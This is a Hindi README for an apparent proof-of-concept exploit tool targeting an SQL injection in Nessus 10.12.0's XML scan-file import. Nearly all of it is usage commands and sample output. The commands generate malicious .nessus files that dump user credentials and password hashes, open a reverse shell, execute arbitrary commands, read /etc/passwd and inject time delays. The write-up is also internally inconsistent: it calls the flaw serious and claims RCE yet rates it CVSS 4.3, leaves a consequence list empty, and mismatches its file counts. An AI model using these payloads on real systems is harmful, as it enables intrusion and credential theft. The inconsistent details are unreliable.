CVE-2026-57588 के लिए PoC - Nessus 10.12.0 XML आयात में SQL इंजेक्शन। डेटाबेस गिनने, क्रेडेंशियल एक्सफिल्ट्रेट करने और समय-आधारित ब्लाइंड इंजेक्शन का परीक्षण करने के लिए दुर्भावनापूर्ण .nessus फ़ाइलें उत्पन्न करता है। अधिकृत सुरक्षा अनुसंधान के लिए। लेखक: Sudeepa Wanigarathna। 10.12.1 में पैच किया गया।
CVE-2026-57588 Tenable Nessus संस्करण 10.12.0 और पूर्व में पाई गई एक गंभीर SQL इंजेक्शन कमजोरी है। यह कमजोरी .nessus स्कैन परिणाम फ़ाइलों को आयात करते समय XML पार्सिंग तंत्र में मौजूद है, जो आयात विशेषाधिकारों वाले प्रमाणित उपयोगकर्ताओं को बैकएंड PostgreSQL डेटाबेस के विरुद्ध मनमानी SQL क्वेरी निष्पादित करने की अनुमति देती है।
| गुण | मान |
|---|---|
| CVE ID | CVE-2026-57588 |
| कमजोरी प्रकार | SQL इंजेक्शन |
| प्रभावित उत्पाद | Tenable Nessus 10.12.0 और पूर्व |
| सुधारित संस्करण | Nessus 10.12.1 और बाद के |
| CVSS स्कोर | 4.3 (मध्यम) |
| हमला वेक्टर | नेटवर्क |
| हमला जटिलता | निम्न |
| आवश्यक विशेषाधिकार | प्रमाणित (आयात अनुमतियाँ) |
| उपयोगकर्ता सहभागिता | आवश्यक (सोशल इंजीनियरिंग) |
| प्रभाव | डेटा चोरी, RCE |
यह कमजोरी XML टैग मानों के अपर्याप्त स्वच्छीकरण के कारण मौजूद है, जिन्हें आयात प्रक्रिया के दौरान SQL क्वेरी में शामिल किया जाता है। एक दुर्भावनापूर्ण अभिनेता XML टैग जैसे:
hostnamefqdnossystem-typemac-addressnetbios-nameमें विशेष रूप से तैयार SQL इंजेक्शन पेलोड वाली .nessus फ़ाइल बना सकता है।
जब कोई विशेषाधिकार प्राप्त उपयोगकर्ता दुर्भावनापूर्ण फ़ाइल आयात करता है, तो अस्वच्छीकृत मान PostgreSQL बैकएंड के विरुद्ध निष्पादित होते हैं, जिससे:
सक्षम होती है।
# रिपॉजिटरी क्लोन करें
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# वर्चुअल वातावरण बनाएं और सक्रिय करें
python3 -m venv venv
source venv/bin/activate # विंडोज़ पर: venv\Scripts\activate
# निर्भरताएँ स्थापित करें
pip install -r requirements.txt
# स्थापना सत्यापित करें
python3 exploit.py --version
# डॉकर इमेज बनाएं
docker build -t nessus-exploit .
# टूल चलाएं
docker run -it --rm nessus-exploit generate -u https://test.com -p enum
# एक पैकेज के रूप में स्थापित करें
pip install -e .
# अब कहीं से भी चलाएं
nessus-exploit generate -u https://test.com -p enum
# एक बुनियादी गणना शोषण उत्पन्न करें
python3 exploit.py generate -u https://test.com -p enum
# उन्नत बहु-चरणीय शोषण उत्पन्न करें
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus
# डेटाबेस से डेटा निकालें
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# सामान्य सहायता दिखाएं
python3 exploit.py --help
# generate कमांड सहायता दिखाएं
python3 exploit.py generate --help
# सभी उपलब्ध पेलोड सूचीबद्ध करें
python3 exploit.py list
python3 exploit.py generate -u https://test.com -p enum
[2026-07-22 10:15:23] [INFO] [*] https://test.com के विरुद्ध शोषण शुरू
[2026-07-22 10:15:23] [INFO] [*] सत्र: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] पेलोड: enum
[2026-07-22 10:15:23] [INFO] [*] चरण निष्पादित: fingerprint
[2026-07-22 10:15:24] [INFO] [+] उत्पन्न XML: exploit_20260722_fingerprint_101523.nessus (3847 बाइट्स)
[2026-07-22 10:15:24] [INFO] [*] चरण निष्पादित: schema_dump
[2026-07-22 10:15:25] [INFO] [+] उत्पन्न XML: exploit_20260722_schema_dump_101524.nessus (4213 बाइट्स)
[2026-07-22 10:15:25] [INFO] [+] शोषण पूर्ण! अवधि: 2.15s
============================================================
शोषण सारांश
============================================================
लक्ष्य: https://test.com
स्थिति: सफल
अवधि: 2.15s
उत्पन्न फ़ाइलें: 3
उत्पन्न रिपोर्ट: 3
============================================================
python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v
# उपयोगकर्ता क्रेडेंशियल निकालें
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# कस्टम स्तंभों के साथ निकालें
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status
# श्रोता शुरू करें और शोषण उत्पन्न करें
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus
# बुनियादी कमांड निष्पादित करें
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"
# जटिल कमांड निष्पादित करें
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"
# सिस्टम फ़ाइलें पढ़ें
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd
# एप्लिकेशन लॉग पढ़ें
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log
# 5 सेकंड विलंब
python3 exploit.py generate -u https://test.com -p sleep -s 5
# भारी परीक्षण के लिए 30 सेकंड विलंब
python3 exploit.py generate -u https://test.com -p sleep -s 30